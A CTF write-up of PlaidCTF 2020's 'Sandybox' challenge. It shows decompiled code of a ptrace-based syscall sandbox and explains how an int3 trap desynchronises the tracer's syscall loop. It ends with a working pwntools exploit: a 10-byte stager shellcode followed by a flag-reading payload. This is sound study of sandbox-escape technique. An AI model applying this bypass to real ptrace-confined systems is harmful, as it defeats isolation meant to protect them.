A Plaid CTF Review: Sandybox
Sandybox
I tried to solve pwn challenges from past plaid ctf since this year’s plaid’23 pwn challenges were pretty hell. I believe one was rust pwn running as PE32+ executable (dunno how to debug), and another one (collector) is pretty much unsolvable alone.
So I chose Sandybox from plaid’20 to practice my sandbox/vm escape techniques.
Overview
The challenge emulates a sandbox using ptrace.
A few code snippets:
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int forked; // eax
int *v4; // rax
char *v5; // rax
int *v6; // rax
char *v7; // rax
__pid_t v9; // eax
int *v10; // rax
char *v11; // rax
unsigned int child; // ebx
int *v13; // rax
char *v14; // rax
unsigned int v15; // r15d
__int64 i; // r15
__int64 v17; // rcx
__int64 v18; // rdx
int v19; // edi
char *v20; // rax
int v21; // edi
char *v22; // rax
int *v23; // rax
char *v24; // rax
int v25; // edi
char *v26; // rax
int *v27; // rax
char *v28; // rax
int stat_loc; // [rsp+0h] [rbp-11Ch] BYREF
_QWORD regs[7]; // [rsp+4h] [rbp-118h] BYREF
__int64 v31; // [rsp+3Ch] [rbp-E0h]
__int64 v32; // [rsp+64h] [rbp-B8h]
__int64 v33; // [rsp+6Ch] [rbp-B0h]
__int64 v34; // [rsp+74h] [rbp-A8h]
__int64 v35; // [rsp+7Ch] [rbp-A0h]
__int64 v36; // [rsp+9Ch] [rbp-80h]
unsigned __int64 v37; // [rsp+DCh] [rbp-40h]
alarm(0xAu);
__dprintf_chk(1LL, 1LL, "o hai\n");
if ( access("./flag", 4) )
{
v6 = __errno_location();
v7 = strerror(*v6);
__dprintf_chk(1LL, 1LL, "flag access fail %s\n", v7);
return 1LL;
}
forked = fork();
if ( forked < 0 )
{
v10 = __errno_location();
v11 = strerror(*v10);
__dprintf_chk(1LL, 1LL, "fork fail %s\n", v11);
return 1LL;
}
if ( !forked )
{
prctl('\x01', 9LL);
if ( getppid() != 1 )
{
if ( ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL) )
{
v4 = __errno_location();
v5 = strerror(*v4);
__dprintf_chk(1LL, 1LL, "child traceme %s\n", v5);
_exit(1);
}
v9 = getpid();
kill(v9, 19);
run_shell();
_exit(0);
}
__dprintf_chk(1LL, 1LL, "child is orphaned\n");
_exit(1);
}
child = forked;
v37 = __readfsqword(0x28u);
if ( waitpid(forked, &stat_loc, 0x40000000) < 0 || stat_loc != 127 || BYTE1(stat_loc) != 19 )
{
v13 = __errno_location();
v14 = strerror(*v13);
__dprintf_chk(1LL, 1LL, "initial waitpid fail 0x%x %s\n", stat_loc, v14);
return 1LL;
}
v15 = 0;
alarm(0x1Eu);
ptrace(PTRACE_SETOPTIONS, child, 0LL, 0x100000LL);
while ( 1 )
{
while ( 1 )
{
if ( ptrace(PTRACE_SYSCALL, child, 0LL, v15) )// PTRACE_SYSCALL to wait for syscall entry
{
v21 = *__errno_location();
if ( v21 != 10 )
{
v22 = strerror(v21);
__dprintf_chk(1LL, 1LL, "ptrace syscall1 %s\n", v22);
goto LABEL_39;
}
return 0LL;
}
if ( waitpid(child, &stat_loc, 0x40000000) < 0 )// wait
goto LABEL_34;
if ( stat_loc != 127 )
{
__dprintf_chk(1LL, 1LL, "so long, sucker 0x%x\n");
return 0LL;
}
v15 = BYTE1(stat_loc);
if ( BYTE1(stat_loc) == 5 )
break;
__dprintf_chk(2LL, 1LL, "child signal %d\n", BYTE1(stat_loc));
}
if ( ptrace(PTRACE_GETREGS, child, 0LL, regs) )// get reg
{
v23 = __errno_location();
v24 = strerror(*v23);
__dprintf_chk(1LL, 1LL, "ptrace getregs %s\n", v24);
goto LABEL_39;
}
if ( !check_syscall(child, regs) ) // inspect registers
{
__dprintf_chk(2LL, 1LL, "allowed syscall %lld(%lld, %lld, %lld, %lld)\n", v35, v34, v33, v32, v31);
goto LABEL_26;
}
__dprintf_chk(2LL, 1LL, "blocked syscall %lld\n", v35);
v35 = 1LL;
v34 = 1LL;
v32 = 17LL;
v33 = v36;
if ( ptrace(PTRACE_SETREGS, child, 0LL, regs) )
break;
for ( i = 0LL; i != 24; i += 8LL )
{
v17 = *&aGetClappedSonn[i];
v18 = i + v36;
ptrace(PTRACE_POKEDATA, child, v18, v17);
}
LABEL_26:
if ( ptrace(PTRACE_SYSCALL, child, 0LL, 0LL) )// PTRACE_SYSCALL: wait for syscall exit
{
v25 = *__errno_location();
if ( v25 != 10 )
{
v26 = strerror(v25);
__dprintf_chk(1LL, 1LL, "ptrace syscall2 %s\n", v26);
goto LABEL_39;
}
return 0LL;
}
if ( waitpid(child, &stat_loc, 0x40000000) < 0 )
{
LABEL_34:
v19 = *__errno_location();
if ( v19 != 10 )
{
v20 = strerror(v19);
__dprintf_chk(1LL, 1LL, "waitpid fail %s\n", v20);
return 1LL;
}
return 0LL;
}
if ( stat_loc != 127 )
{
__dprintf_chk(1LL, 1LL, "so long, sucker. 0x%x\n");
return 0LL;
}
v15 = 0;
}
v27 = __errno_location();
v28 = strerror(*v27);
__dprintf_chk(1LL, 1LL, "ptrace setregs %s\n", v28);
LABEL_39:
kill(child, 9);
return 1LL;
}
__int64 run_shell()
{
void (*code)(void); // r12
void (*ptr)(void); // rbx
syscall(37LL, 20LL); // alarm
code = mmap(0LL, 0xAuLL, 7, 34, -1, 0LL);
ptr = code;
__dprintf_chk(1LL, 1LL, "> ");
do
{
if ( read(0, ptr, 1uLL) != 1 )
_exit(0);
ptr = (ptr + 1);
}
while ( ptr != (code + 10) ); // max 10 bytes
code();
return 0LL;
}
_BOOL8 __fastcall check_syscall(unsigned int a1, _QWORD *reg)
{
unsigned __int64 syscall; // rax
__int64 v4; // rdx
__int64 v5; // r12
__int64 v6; // rax
__int128 v7; // [rsp+0h] [rbp-38h] BYREF
char v8; // [rsp+10h] [rbp-28h]
unsigned __int64 v9; // [rsp+18h] [rbp-20h]
v9 = __readfsqword(0x28u);
syscall = reg[15];
if ( syscall != 8 )
{
if ( syscall > 8 )
{
if ( syscall == 37 )
return (reg[14] - 1LL) > 0x13;
if ( syscall <= 0x25 )
{
if ( syscall <= 0xB )
return reg[13] > 0x1000uLL;
return 1LL;
}
return syscall != 60 && syscall != 231 && syscall != 39;
}
if ( syscall == 2 )
{
if ( !reg[13] )
{
v4 = reg[14];
v8 = 0;
v7 = 0LL;
v5 = ptrace(PTRACE_PEEKDATA, a1, v4, 0LL);
v6 = ptrace(PTRACE_PEEKDATA, a1, reg[14] + 8LL, 0LL);
if ( v5 != -1 && v6 != -1 )
{
*&v7 = v5;
*(&v7 + 1) = v6;
if ( strlen(&v7) <= 0xF && !strstr(&v7, "flag") && !strstr(&v7, "proc") )
return strstr(&v7, "sys") != 0LL;
}
}
return 1LL;
}
if ( syscall >= 2 && syscall != 3 && syscall != 5 )
return 1LL;
}
return 0LL;
}
For those only curious about the technique like myself, the summarized codeflow is as follows:
while (1) {
// wait for a syscall exit
ptrace(PTRACE_SYSCALL, child_pid, 0);
waitpid(child_pid, &status, __WALL);
ptrace(PTRACE_GETREGS, child_pid, 0, regs);
if (check_syscall(child_pid, regs)) {
// ALLOW SYSCALL
} else {
// BLOCK SYSCALL
}
// wait for a syscall entry
ptrace(PTRACE_SYSCALL, child_pid, 0, 0);
waitpid(child_pid, &status, __WALL);
}
got this from here.
So basically the challenge will spawn a child process, monitor it using ptrace, checks for valid registers whenever the child invokes a syscall, and invoke only allowed ones.
Approach
I believe there are a few solutions for this challenge, the one I used was to confuse the infinite while loop.
Now, while
calls ptrace at the beginning and at the end. We can attack this by invoking an interrupt using int3
to wake the parent making it think that a syscall has been invoked, but actually it hasn’t. Since int3
wouldn’t exit, the loop will be inverted.
So the overall exploit looks like:
- Using 10 byte shellcode (on run_shell) to stage to read 1000 bytes.
- Interrupt parent using
int3
. - cat flag!
Exploit
#!/usr/bin/python3
from pwn import *
context.arch='amd64'
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
e = context.binary = ELF("./sandybox")
p=process([e.path])
# gdb.attach(p)
# 10 bytes max
shellcode = asm('''
push 1000
pop rdx
xor eax, eax
syscall
''', arch='amd64') # syscall read to read 1024 bytes of shellcode
print(len(shellcode)) # debug
assert(len(shellcode)==10)
# gdb.attach(p)
shellcode += asm('''
nop
nop
nop
nop
nop
nop
nop
mov rax, 8
int3
''', arch='amd64') # wake parent, confuse loop
shellcode += asm(shellcraft.amd64.cat('flag'), arch='amd64')
# info(str(len(shellcode)))
context.log_level='debug'
p.send(shellcode)
p.recvall()
Thanks,
079